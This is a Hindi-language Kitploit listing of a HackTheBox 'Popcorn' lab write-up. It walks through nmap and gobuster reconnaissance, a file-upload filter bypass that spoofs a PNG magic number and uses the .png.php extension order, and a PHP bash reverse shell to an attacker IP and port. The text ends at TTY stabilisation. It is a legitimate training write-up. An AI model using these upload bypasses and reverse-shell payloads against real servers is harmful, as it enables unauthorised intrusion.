Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Popcorn-TJNULL-OSCP- — पॉपकॉर्न HTB राइट-अप जिसमें उन्नत डायरेक्टरी फ़ज़िंग, Burp Suite का उपयोग करके मैजिक नंबर/एक्सटेंशन स्पूफिंग के माध्यम से फ़ाइल अपलोड बाईपास, और CVE-2010-0832 (PAM MOTD फ़ाइल टैम्परिंग) के माध्यम से विशेषाधिकार वृद्धि शामिल है। | Kitploit
उपकरण/GitHubGitHub/r3fr4kt/popcorn-tjnull-oscp-
विशेषाधिकार वृद्धिटोहीभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफज़िंगCTFपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षा

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
लैब और अभ्यास
GitHubr3fr4kt/popcorn-tjnull-oscp-

Popcorn-TJNULL-OSCP-

पॉपकॉर्न HTB राइट-अप जिसमें उन्नत डायरेक्टरी फ़ज़िंग, Burp Suite का उपयोग करके मैजिक नंबर/एक्सटेंशन स्पूफिंग के माध्यम से फ़ाइल अपलोड बाईपास, और CVE-2010-0832 (PAM MOTD फ़ाइल टैम्परिंग) के माध्यम से विशेषाधिकार वृद्धि शामिल है।

रिपॉजिटरी देखें
123 महीने पहलेअभी तक समीक्षित नहीं

HackTheBox: Popcorn लेखन

दिनांक: जून 05, 2026
कठिनाई: आसान
प्लेटफ़ॉर्म: HackTheBox
मुख्य तकनीकें: पोर्ट और सेवा खोज, निर्देशिका फ़ज़िंग (Gobuster), फ़ाइल अपलोड चोरी, HTTP अनुरोध हेरफेर (Burp Suite), दूरस्थ कोड निष्पादन (RCE), उन्नत TTY शेल स्थिरीकरण (Python), स्थानीय कर्नेल/PAM शोषण (MOTD फ़ाइल छेड़छाड़)।


1. टोही और गणना

पोर्ट स्कैनिंग (त्वरित टोही)

हम प्रवेश बिंदुओं का पता लगाने के लिए सभी 65,535 पोर्ट (-p-) पर एक तेज़ TCP पोर्ट स्कैन करके शुरू करते हैं। हम --min-rate 5000 का उपयोग करके निष्पादन गति को अनुकूलित करते हैं और ऑडिटिंग वातावरण में प्रक्रिया को सुव्यवस्थित करने के लिए DNS समाधान और पिंग स्वीप को छोड़ देते हैं:

nmap -Pn -n -sS -p- --open --min-rate 5000 <VICTIM_IP>

प्रारंभिक स्कैन विश्वसनीय रूप से दो खुले पोर्ट का पता लगाता है: पोर्ट 22 (SSH) और पोर्ट 80 (HTTP)।

सेवा और भेद्यता स्कैनिंग (गहराई से जांच)

इसके बाद, हम सटीक सेवा संस्करण निर्धारित करने और Nmap के मानक और बुनियादी भेद्यता स्क्रिप्ट चलाने के लिए पहचाने गए पोर्ट पर एक लक्षित, गहन स्कैन करते हैं:

nmap -sCV -p22,80 --script="safe and vuln" <VICTIM_IP>

आउटपुट से, हम लक्ष्य पारिस्थितिकी तंत्र के बारे में महत्वपूर्ण जानकारी निकालते हैं:

  • पोर्ट 22/TCP (SSH): OpenSSH 5.1 Debian 6ubuntu2 (एक काफी पुरानी Ubuntu Linux वितरण को इंगित करता है)।
  • पोर्ट 80/TCP (HTTP): Apache httpd 2.2.12

निर्देशिका फ़ज़िंग (Gobuster)

ब्राउज़र के माध्यम से वेब एप्लिकेशन के साथ बातचीत करने से पहले, हम डोमेन मैपिंग को साफ करने और आंतरिक रीडायरेक्शन को सही ढंग से हल करने के लिए अपने हमलावर मशीन की /etc/hosts फ़ाइल में लक्ष्य IP पता जोड़ते हैं:

<VICTIM_IP>    popcorn.htb

फिर हम DirBuster की क्लासिक मध्यम आकार की शब्दसूची के साथ gobuster का उपयोग करके एक स्वचालित छिपी निर्देशिका खोज चलाते हैं:

gobuster dir -u [http://popcorn.htb/](http://popcorn.htb/) -w /usr/share/wordlists/dirbuster/directory-lists-2.3-medium.txt

फ़ज़िंग चरण पीड़ित के वेब सर्वर पर निम्नलिखित सुलभ पथों को उजागर करता है:

  • /index (मानक इंडेक्स लैंडिंग पेज)।
  • /test (परीक्षण पैनल या विकास जानकारी फ़ाइल)।
  • /torrent (टोरेंट फ़ाइलों को होस्ट और साझा करने के लिए समर्पित एक पूरी तरह कार्यात्मक वेब प्लेटफ़ॉर्म)।
  • /response (आंतरिक प्रतिक्रिया पृष्ठ)।

2. प्रारंभिक पहुंच वेक्टर (वेब शोषण और फ़िल्टर चोरी)

/torrent निर्देशिका की खोज करने पर एक टोरेंट साझाकरण CMS का पता चलता है। अपलोड सुविधाओं के साथ बातचीत करने के लिए, हम मौके पर बनाए गए एक वैध खाते में पंजीकरण करते हैं और लॉग इन करते हैं। एक वैध .torrent फ़ाइल प्रकाशित करने के बाद, प्लेटफ़ॉर्म टोरेंट विवरण संपादित करने और एक प्रचारक स्क्रीनशॉट छवि अपलोड करने का विकल्प सक्षम करता है। यह विशिष्ट फ़ॉर्म हमारा प्राथमिक हमला वेक्टर बन जाता है।

दूरस्थ कोड निष्पादन (RCE) प्राप्त करने के लिए, हम Burp Suite (Repeater) का उपयोग करके बैकएंड व्यवहार का विश्लेषण करते हुए परीक्षण चरणों की एक श्रृंखला से गुजरते हैं:

प्रयास 1: GET पैरामीटर के माध्यम से डायनेमिक वेबशेल (वाक्यविन्यास त्रुटि)

हम स्क्रीनशॉट अपलोड अनुरोध को इंटरसेप्ट करते हैं और फ़ाइल नाम को exploit.php में संशोधित करते हैं। हम फ़ाइल बॉडी में एक क्लासिक वन-लाइनर वेबशेल डालने का प्रयास करते हैं:

<?php system($_GET['cmd']) ?>

परिणाम: वेब सर्वर PHP निर्देश के अंत में अर्धविराम ; की कमी के कारण एक आंतरिक निष्पादन त्रुटि लौटाता है, जिससे निष्पादन प्रवाह टूट जाता है।

प्रयास 2: अपलोड URL में पैरामीटर के साथ इंजेक्शन (विधि विफलता)

हम वाक्यविन्यास को <?php system($_GET['cmd']); ?> में सही करते हैं, लेकिन चूंकि अनुरोध POST ( multipart/form-data का उपयोग करके) भेजा जाता है, हम अपने कमांड को सीधे हेडर URL (POST /torrent/upload_file.php?cmd=whoami) में पास करने का प्रयास करते हैं। परिणाम: वेब सर्वर निम्नलिखित त्रुटि फेंकता है:

Cannot execute a blank command

विश्लेषण: फ़ाइल अपलोड पार्सिंग के दौरान, बैकएंड URL में मौजूद GET वेरिएबल्स को पूरी तरह से अनदेखा करता है। upload_file.php स्क्रिप्ट फ़ाइल को डिस्क पर लिखता है लेकिन तुरंत आंतरिक फ़ंक्शन को निष्पादित करने का प्रयास करता है। चूंकि इसे अपेक्षित बॉडी वेरिएबल्स में कुछ नहीं मिलता, $_GET['cmd'] को खाली माना जाता है।

प्रयास 3: डबल एक्सटेंशन (स्थैतिक निष्पादन विफलता)

बुनियादी एक्सटेंशन जांच फ़िल्टर को बायपास करने के लिए जो यह सत्यापित करते हैं कि फ़ाइल एक वैध छवि है या नहीं, हम फ़ाइल का नाम बदलकर innocent.php.png करते हैं और एक रिवर्स शेल पेलोड हार्डकोड करते हैं ताकि यह बाहरी मापदंडों पर निर्भर न हो:

Content-Disposition: form-data; name="file"; filename="innocent.php.png"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>

परिणाम: सर्वर एक सफल 200 OK के साथ प्रतिक्रिया करता है:

Upload: innocent.php.png<br />Type: image/png<br />Upload Completed.

विश्लेषण: हालांकि इसने प्रारंभिक फ़िल्टर को सफलतापूर्वक बायपास कर दिया, चूंकि फ़ाइल सख्ती से .png एक्सटेंशन के साथ समाप्त होती है, Apache सर्वर ने इसे एक सामान्य स्थैतिक छवि के रूप में माना। जब इसे ब्राउज़ किया गया, तो ब्राउज़र ने कच्चे बाइट्स को सादे पाठ के रूप में प्रिंट किया; Apache ने कभी फ़ाइल को PHP इंटरप्रेटर को नहीं भेजा, जिसका अर्थ है कि हमारा Netcat सुनने वाला कभी कनेक्शन नहीं पकड़ पाया।

प्रयास 4: सफल बाईपास (एक्सटेंशन संशोधन और मैजिक नंबर)

यह जानते हुए कि सर्वर को कोड निष्पादन को ट्रिगर करने के लिए .php एक्सटेंशन को पार्स करने की आवश्यकता है, हम एक्सटेंशन क्रम को उलट देते हैं (innocent.png.php), Content-Type: image/png हेडर को बरकरार रखते हैं, और बैकएंड सामग्री सत्यापन जांच को धोखा देने के लिए फ़ाइल बॉडी की शुरुआत में PNG हस्ताक्षर या मैजिक नंबर (‰PNG) जोड़ते हैं:

POST /torrent/upload_file.php HTTP/1.1
Host: popcorn.htb
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryaBXxWz7L0ZMSUoc1

------WebKitFormBoundaryaBXxWz7L0ZMSUoc1
Content-Disposition: form-data; name="file"; filename="innocent.png.php"
Content-Type: image/png

‰PNG
<?php system("bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1'"); ?>
------WebKitFormBoundaryaBXxWz7L0ZMSUoc1--

परिणाम: वेब सर्वर फ़ाइल को साफ-साफ स्वीकार करता है, अनुगामी एक्सटेंशन को संसाधित करता है, और इसे अपलोड निर्देशिका में innocent.php नाम से सहेजता है:

HTTP/1.1 200 OK
...
Upload: innocent.php<br />Type: image/png<br />Size: 0.2255859375 Kb<br />Upload Completed.

दूरस्थ कोड निष्पादन (RCE) को ट्रिगर करना

चूंकि अपलोड स्क्रिप्ट केवल डिस्क पर फ़ाइल को संग्रहीत करती है और अपलोड POST अनुरोध संदर्भ में इसे निष्पादित नहीं करती है, हम सर्वर को इसे पढ़ने के लिए मजबूर करने के लिए एक स्वतंत्र कॉल ट्रिगर करते हैं:

  1. हमलावर मशीन पर Netcat सुनने वाला सेटअप करें:
nc -lvnp 4444

  1. अपलोड की गई फ़ाइल के URL पथ पर सीधे ब्राउज़ करके रिवर्स शेल ट्रिगर करें (या तो ब्राउज़र के माध्यम से या Burp में एक साफ GET अनुरोध का उपयोग करके):
[http://popcorn.htb/torrent/upload/innocent.php](http://popcorn.htb/torrent/upload/innocent.php)

Apache सर्वर को फ़ाइल को संसाधित करने के लिए मजबूर किया जाता है, PHP टैग का पता लगाता है, Bash पेलोड को निष्पादित करता है, और कनेक्शन हमारे सुनने वाले पर पूरी तरह से पकड़ में आता है, जो www-data उपयोगकर्ता के रूप में प्रारंभिक पहुंच प्रदान करता है।


3. पोस्ट-एक्सप्लॉइटेशन और TTY शेल स्थिरीकरण

शेल प्राप्त करने के तुरंत बाद विशेषाधिकारों को उन्नत करने का प्रयास गंभीर पर्यावरण सीमाओं को उजागर करता है:

www-data@popcorn:/$ su root
su: must be run from a terminal

su कमांड को सुरक्षित रूप से इनपुट स्वीकार करने के लिए एक वास्तविक इंटरैक्टिव टर्मिनल (TTY) की सख्त आवश्यकता है। python3 के माध्यम से एक को मजबूर करने का प्रयास इंगित करता है कि यह इस लीगेसी बॉक्स पर स्थापित नहीं है (The program 'python3' is currently not installed)।

हम मशीन पर मौजूद क्लासिक Python बाइनरी (Python 2) का उपयोग करके और अपनी हमलावर मशीन के टर्मिनल डिस्क्रिप्टर को पुन: कॉन्फ़िगर करके इस रुकावट को बायपास करते हैं:

# 1. लीगेसी Python के पूर्ण पथ का उपयोग करके एक इंटरैक्टिव शेल स्पॉन करें
/usr/bin/python -c 'import pty; pty.spawn("/bin/bash")'

# 2. शेल प्रक्रिया को पृष्ठभूमि में निलंबित करें
Ctrl + Z
टूल डाउनलोड करें